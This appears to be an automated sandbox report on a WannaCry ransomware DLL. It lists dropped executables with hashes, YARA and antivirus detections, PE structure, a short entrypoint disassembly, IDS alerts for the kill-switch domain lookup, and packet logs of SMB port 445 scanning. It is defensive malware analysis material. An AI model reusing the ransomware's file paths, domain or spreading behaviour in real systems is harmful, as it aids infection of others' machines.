SHA-512:	2155DE8C6F136EB048BFA4A44A4AF1ABD222F176D1254908E19F7FC9165B1B1FFB961F6B4ABDFC5A15AA96E28E20215F391839B81BD2E8675A22E2F8AC9570E9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 60%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&K.WG%.WG%.WG%.^?..LG%.^?...G%.^?..BG%.WG$.G%.^?..0G%.^?..VG%.^?..VG%.^?..VG%.RichWG%.................PE..L......U..........................................@..........................`......................................p...3............ ..(9..............................................................@............................................text.............................. ..`.rdata...P.......R..................@..@.data...(...........................@....rsrc...(9... ...:..................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\eee.exe

Download File

Process:	C:\Windows\tasksche.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1981503
Entropy (8bit):	1.1514036614623402
Encrypted:	false
SSDEEP:	3072:Pm7CQNtZU+mWdyVsJM5MelfvtNdQU/2DRIYUoNv+byel0QWq:PsCwu+mWhJifvtNP/7YXYlW
MD5:	03880BEAD20960FEF3D46ADE3C83E1BD
SHA1:	62EECEF13F3125CF8E4212D4AD85AB45E091830D
SHA-256:	92B0BECA439DB25D7098379CEE580FA69F6F5E7271708BDEC03AB8FF526426D8
SHA-512:	8534E48D702AFB70A4537096AEC7EBB1E4C1A4CF14A44F7C1F7D8DF972742A5E0A49738124891843CF10E390379ECEEFC7882A0BE6AEA206A6583BC4B1194F9D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 6%, Browse Antivirus: ReversingLabs, Detection: 12%
Joe Sandbox View:	Filename: vEbriCJic0.dll, Detection: malicious, Browse Filename: 48O5lgRp91.dll, Detection: malicious, Browse Filename: PDAZE3eQB1.dll, Detection: malicious, Browse Filename: rBsGH746YC.dll, Detection: malicious, Browse Filename: dKkvbrzdUL.dll, Detection: malicious, Browse Filename: UjhHNEfOFP.dll, Detection: malicious, Browse Filename: d8oGI2K5Bi.dll, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........1..`_Z.`_Z.`_Z...Z.`_Z...Z1`_Z...Z.`_Z.>\[.`_Z.>[[.`_Z.>Z[.`_Z...Z.`_Z...Z.`_Z.`^Z@`_Z->Z[.`_Z->_[.`_Z(>.Z.`_Z->][.`_ZRich.`_Z........PE..L......Y..........................................@.......................... ............@.........................@...4...t...(........:......................X...Pn..T...............................@...................... ....................text............................... ..`.rdata..............................@..@.data...............................@....gfids..............................@..@.rsrc....F.......H..................@..@.reloc..X........ ..................@..B........................................................................................................................................................................................................................................................

C:\Windows\mssecsvr.exe

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2281472
Entropy (8bit):	7.516349263888961
Encrypted:	false
SSDEEP:	49152:QnpEKUacBVQej/1INRx+TSqTdX1HkQo6SARMC5:QpyfBhz1aRxcSUDk36SARV
MD5:	1C1167A1D6490BC84697D2D3E8547F79
SHA1:	9EABC893EFD85E571A14BE5F6B25CD7A6AC942E3
SHA-256:	05016BEE554CC96909FEF1F48A953A235A9B9E3509574F38D716EA3A4B72A62B
SHA-512:	0DEAC24D354FEB38E36D050A4266E4C0FAE16D9DBD176695A82EE0BAFA44F5B6A590D0C6DF1A710ED9D2F3F7DFE1B5D2D8A87B636692FCEC6798EC8EC34D0022
Malicious:	true
Yara Hits:	Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (with the help of binar.ly) Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (based on rule by US CERT) Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvr.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 80%, Browse Antivirus: ReversingLabs, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U<S..]=..]=..]=.jA1..]=.A3..]=.~B7..]=.~B6..]=.~B9..]=..R`..]=..]<.J]=.'{6..]=..[;..]=.Rich.]=.........................PE..L.....L......................"...................@...........................P......................................................1..z...........................................................................................................text.............................. ..`.rdata..............................@..@.data....H0......p..................@....rsrc.........1...... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Windows\tasksche.exe

Download File

Process:	C:\Windows\mssecsvr.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive
Category:	dropped
Size (bytes):	2061938
Entropy (8bit):	7.626098767409981
Encrypted:	false
SSDEEP:	49152:XEKUacBVQej/1INRx+TSqTdX1HkQo6SARMC5:XyfBhz1aRxcSUDk36SARV
MD5:	86DA3236875CBBC62DD722ADA7F81D89
SHA1:	37272B295D417AAC35F5E5D0F9AA448484BD847C
SHA-256:	73771F6F76F27A76FA2F5257685849E5545B07EEC8DBB9864A6C15595ECDAFF0
SHA-512:	2155DE8C6F136EB048BFA4A44A4AF1ABD222F176D1254908E19F7FC9165B1B1FFB961F6B4ABDFC5A15AA96E28E20215F391839B81BD2E8675A22E2F8AC9570E9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 60%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&K.WG%.WG%.WG%.^?..LG%.^?...G%.^?..BG%.WG$.G%.^?..0G%.^?..VG%.^?..VG%.^?..VG%.RichWG%.................PE..L......U..........................................@..........................`......................................p...3............ ..(9..............................................................@............................................text.............................. ..`.rdata...P.......R..................@..@.data...(...........................@....rsrc...(9... ...:..................@..@........................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	3.9794944392413742
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 98.32% Windows Screen Saver (13104/52) 1.29% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	vGJZ7R5D9P.dll
File size:	5267459
MD5:	29df7460f98975b26e5832d4805355cf
SHA1:	f3fa6202017eb509f2155ae00aceaeb9a781bfe6
SHA256:	8a5cef05f5a3fca8d0fba55eecac9b1764c224fd61daf4b4b576c6ee41c988fe
SHA512:	405f83477b9648b3732306a61bb87f1c08874d2760b88db65b24b9e01ed4a215a4b434e218144fa472d6eb3d6c57975d2c19aae0ec44eb4ea6d97feffc635682
SSDEEP:	49152:RnpEKUacBVQej/1INRx+TSqTdX1HkQo6SARMC5:1pyfBhz1aRxcSUDk36SARV
TLSH:	6236236630A8C474C003657444ABCB62F5B97C2A27BA694FBF904E7D2F237A5E711B43
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.r_9...9...9.......=...9...6.....A.:.......8.......8.......:...Rich9...........................PE..L...QW.Y...........!.......

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General

Entrypoint:	0x100011e9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL
DLL Characteristics:
Time Stamp:	0x59145751 [Thu May 11 12:21:37 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	2e5708ae5fed0403e8117c645fb23e5b

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push ebx
mov ebx, dword ptr [ebp+08h]
push esi
mov esi, dword ptr [ebp+0Ch]
push edi
mov edi, dword ptr [ebp+10h]
test esi, esi
jne 00007F49C4AE052Bh
cmp dword ptr [10003140h], 00000000h
jmp 00007F49C4AE0548h
cmp esi, 01h
je 00007F49C4AE0527h
cmp esi, 02h
jne 00007F49C4AE0544h
mov eax, dword ptr [10003150h]
test eax, eax
je 00007F49C4AE052Bh
push edi
push esi
push ebx
call eax
test eax, eax
je 00007F49C4AE052Eh
push edi
push esi
push ebx
call 00007F49C4AE043Ah
test eax, eax
jne 00007F49C4AE0526h
xor eax, eax
jmp 00007F49C4AE0570h
push edi
push esi
push ebx
call 00007F49C4AE02ECh
cmp esi, 01h
mov dword ptr [ebp+0Ch], eax
jne 00007F49C4AE052Eh
test eax, eax
jne 00007F49C4AE0559h
push edi
push eax
push ebx
call 00007F49C4AE0416h
test esi, esi
je 00007F49C4AE0527h
cmp esi, 03h
jne 00007F49C4AE0548h
push edi
push esi
push ebx
call 00007F49C4AE0405h
test eax, eax
jne 00007F49C4AE0525h
and dword ptr [ebp+0Ch], eax
cmp dword ptr [ebp+0Ch], 00000000h
je 00007F49C4AE0533h
mov eax, dword ptr [10003150h]
test eax, eax
je 00007F49C4AE052Ah
push edi
push esi
push ebx
call eax
mov dword ptr [ebp+0Ch], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
pop esi
pop ebx
pop ebp
retn 000Ch
jmp dword ptr [10002028h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[ C ] VS98 (6.0) build 8168
[C++] VS98 (6.0) build 8168
[RES] VS98 (6.0) cvtres build 1720
[LNK] VS98 (6.0) imp/exp build 8168

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x2190	0x48	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x203c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x500060	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x505000	0x5c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x28c	0x1000	False	0.13037109375	data	1.4429971244731552	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2000	0x1d8	0x1000	False	0.072509765625	data	0.7346018133622799	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3000	0x154	0x1000	False	0.016845703125	data	0.085726967663312	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4000	0x500060	0x501000	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x505000	0x2ac	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
W	0x4060	0x500000	data	English	United States

Imports

DLL	Import
KERNEL32.dll	CloseHandle, WriteFile, CreateFileA, SizeofResource, LockResource, LoadResource, FindResourceA, CreateProcessA
MSVCRT.dll	free, _initterm, malloc, _adjust_fdiv, sprintf

Exports

Name	Ordinal	Address
PlayGame	1	0x10001114

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.78.8.8.860335532830018 07/20/22-15:43:15.528565	UDP	2830018	ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup)	60335	53	192.168.2.7	8.8.8.8
192.168.2.78.8.8.863557532830018 07/20/22-15:43:18.759007	UDP	2830018	ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup)	63557	53	192.168.2.7	8.8.8.8
192.168.2.78.8.8.860978532830018 07/20/22-15:43:16.924798	UDP	2830018	ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup)	60978	53	192.168.2.7	8.8.8.8

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2022 15:43:01.919888020 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:01.919939041 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:01.919984102 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:01.920020103 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:01.920041084 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:01.920690060 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:01.922574997 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:01.922605038 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:01.922945023 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:01.922971010 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.029808998 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.030134916 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.031023026 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.031166077 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.077244997 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.077275038 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.077683926 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.077780008 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.078960896 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.079618931 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.079684019 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.079696894 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.079709053 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.080116034 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.080374002 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.120521069 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.194133043 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.194255114 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.194505930 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.197963953 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.214617014 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.214648008 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.214670897 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.214714050 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.214778900 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.214793921 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.214864969 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.221977949 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.222003937 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.242388010 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.242438078 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.242588997 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.242604971 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.242640018 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.242667913 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.242671013 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.242718935 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.242731094 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.242750883 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.242789030 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.272694111 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.272816896 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.272821903 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.272907019 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.290904045 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.290941954 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 15:43:02.290991068 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.291027069 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 15:43:02.377547979 CEST	49713	443	192.168.2.7	40.126.31.137
Jul 20, 2022 15:43:13.019673109 CEST	49761	443	192.168.2.7	20.190.159.134
Jul 20, 2022 15:43:13.019721985 CEST	443	49761	20.190.159.134	192.168.2.7
Jul 20, 2022 15:43:13.019823074 CEST	49761	443	192.168.2.7	20.190.159.134
Jul 20, 2022 15:43:13.020498991 CEST	49761	443	192.168.2.7	20.190.159.134
Jul 20, 2022 15:43:13.020523071 CEST	443	49761	20.190.159.134	192.168.2.7
Jul 20, 2022 15:43:13.035144091 CEST	49762	443	192.168.2.7	20.190.160.132
Jul 20, 2022 15:43:13.035208941 CEST	443	49762	20.190.160.132	192.168.2.7
Jul 20, 2022 15:43:13.035330057 CEST	49762	443	192.168.2.7	20.190.160.132
Jul 20, 2022 15:43:13.035640955 CEST	49762	443	192.168.2.7	20.190.160.132
Jul 20, 2022 15:43:13.035656929 CEST	443	49762	20.190.160.132	192.168.2.7
Jul 20, 2022 15:43:13.234843969 CEST	49763	443	192.168.2.7	20.190.160.132
Jul 20, 2022 15:43:13.234888077 CEST	443	49763	20.190.160.132	192.168.2.7
Jul 20, 2022 15:43:13.234993935 CEST	49763	443	192.168.2.7	20.190.160.132
Jul 20, 2022 15:43:13.235600948 CEST	49763	443	192.168.2.7	20.190.160.132
Jul 20, 2022 15:43:13.235611916 CEST	443	49763	20.190.160.132	192.168.2.7
Jul 20, 2022 15:43:14.429636002 CEST	49766	443	192.168.2.7	20.190.159.134
Jul 20, 2022 15:43:14.429692030 CEST	443	49766	20.190.159.134	192.168.2.7
Jul 20, 2022 15:43:14.429805040 CEST	49766	443	192.168.2.7	20.190.159.134
Jul 20, 2022 15:43:14.431128025 CEST	49766	443	192.168.2.7	20.190.159.134
Jul 20, 2022 15:43:14.431164980 CEST	443	49766	20.190.159.134	192.168.2.7
Jul 20, 2022 15:43:17.006129026 CEST	49767	445	192.168.2.7	155.220.14.40
Jul 20, 2022 15:43:18.129635096 CEST	49781	445	192.168.2.7	133.161.198.111
Jul 20, 2022 15:43:19.089077950 CEST	49788	445	192.168.2.7	51.88.41.88
Jul 20, 2022 15:43:19.270153046 CEST	49792	445	192.168.2.7	145.138.35.197
Jul 20, 2022 15:43:20.217149019 CEST	49800	445	192.168.2.7	83.153.156.130
Jul 20, 2022 15:43:20.401163101 CEST	49805	445	192.168.2.7	71.4.117.212
Jul 20, 2022 15:43:21.091999054 CEST	49811	445	192.168.2.7	29.254.232.230
Jul 20, 2022 15:43:21.333194971 CEST	49815	445	192.168.2.7	160.239.174.200
Jul 20, 2022 15:43:21.520802975 CEST	49819	445	192.168.2.7	155.207.25.193
Jul 20, 2022 15:43:22.213969946 CEST	49825	445	192.168.2.7	76.70.145.216
Jul 20, 2022 15:43:22.475961924 CEST	49830	445	192.168.2.7	176.119.50.86
Jul 20, 2022 15:43:22.630130053 CEST	49833	445	192.168.2.7	175.173.234.225
Jul 20, 2022 15:43:23.577719927 CEST	49836	445	192.168.2.7	96.191.177.41
Jul 20, 2022 15:43:23.688350916 CEST	49837	445	192.168.2.7	39.188.182.244
Jul 20, 2022 15:43:23.773314953 CEST	49838	445	192.168.2.7	174.203.246.104
Jul 20, 2022 15:43:23.781471014 CEST	49840	445	192.168.2.7	21.93.23.34
Jul 20, 2022 15:43:25.255834103 CEST	49847	445	192.168.2.7	191.31.68.204
Jul 20, 2022 15:43:25.256674051 CEST	49848	445	192.168.2.7	60.28.24.213
Jul 20, 2022 15:43:25.257410049 CEST	49849	445	192.168.2.7	124.158.84.21
Jul 20, 2022 15:43:25.258166075 CEST	49850	445	192.168.2.7	1.31.160.140
Jul 20, 2022 15:43:25.402486086 CEST	49718	443	192.168.2.7	204.79.197.200
Jul 20, 2022 15:43:25.402990103 CEST	49718	443	192.168.2.7	204.79.197.200
Jul 20, 2022 15:43:25.403120995 CEST	49718	443	192.168.2.7	204.79.197.200
Jul 20, 2022 15:43:25.403178930 CEST	49718	443	192.168.2.7	204.79.197.200
Jul 20, 2022 15:43:25.403281927 CEST	49718	443	192.168.2.7	204.79.197.200
Jul 20, 2022 15:43:25.403321981 CEST	49718	443	192.168.2.7	204.79.197.200
Jul 20, 2022 15:43:25.403393984 CEST	49718	443	192.168.2.7	204.79.197.200
Jul 20, 2022 15:43:25.403450012 CEST	49718	443	192.168.2.7	204.79.197.200
Jul 20, 2022 15:43:25.403507948 CEST	49718	443	192.168.2.7	204.79.197.200
Jul 20, 2022 15:43:25.419368982 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.419400930 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.419420004 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.419437885 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.419455051 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.419475079 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.419497013 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.419513941 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.419533014 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.419549942 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.419565916 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.419651031 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.419667959 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.419779062 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.419795990 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.419811964 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.419830084 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.420033932 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.420084000 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.420439005 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.420456886 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.420485973 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.420505047 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.420520067 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.420535088 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.420551062 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421088934 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421111107 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421127081 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421143055 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421159983 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421175957 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421191931 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421238899 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421283960 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421299934 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421369076 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421390057 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421406031 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421438932 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421457052 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421488047 CEST	49718	443	192.168.2.7	204.79.197.200
Jul 20, 2022 15:43:25.421531916 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421550989 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421567917 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421586037 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421602964 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421669960 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421744108 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421765089 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421797991 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421849966 CEST	49718	443	192.168.2.7	204.79.197.200
Jul 20, 2022 15:43:25.421891928 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421912909 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421931028 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421950102 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421966076 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.421984911 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.422002077 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.422018051 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.422035933 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.422053099 CEST	443	49718	204.79.197.200	192.168.2.7
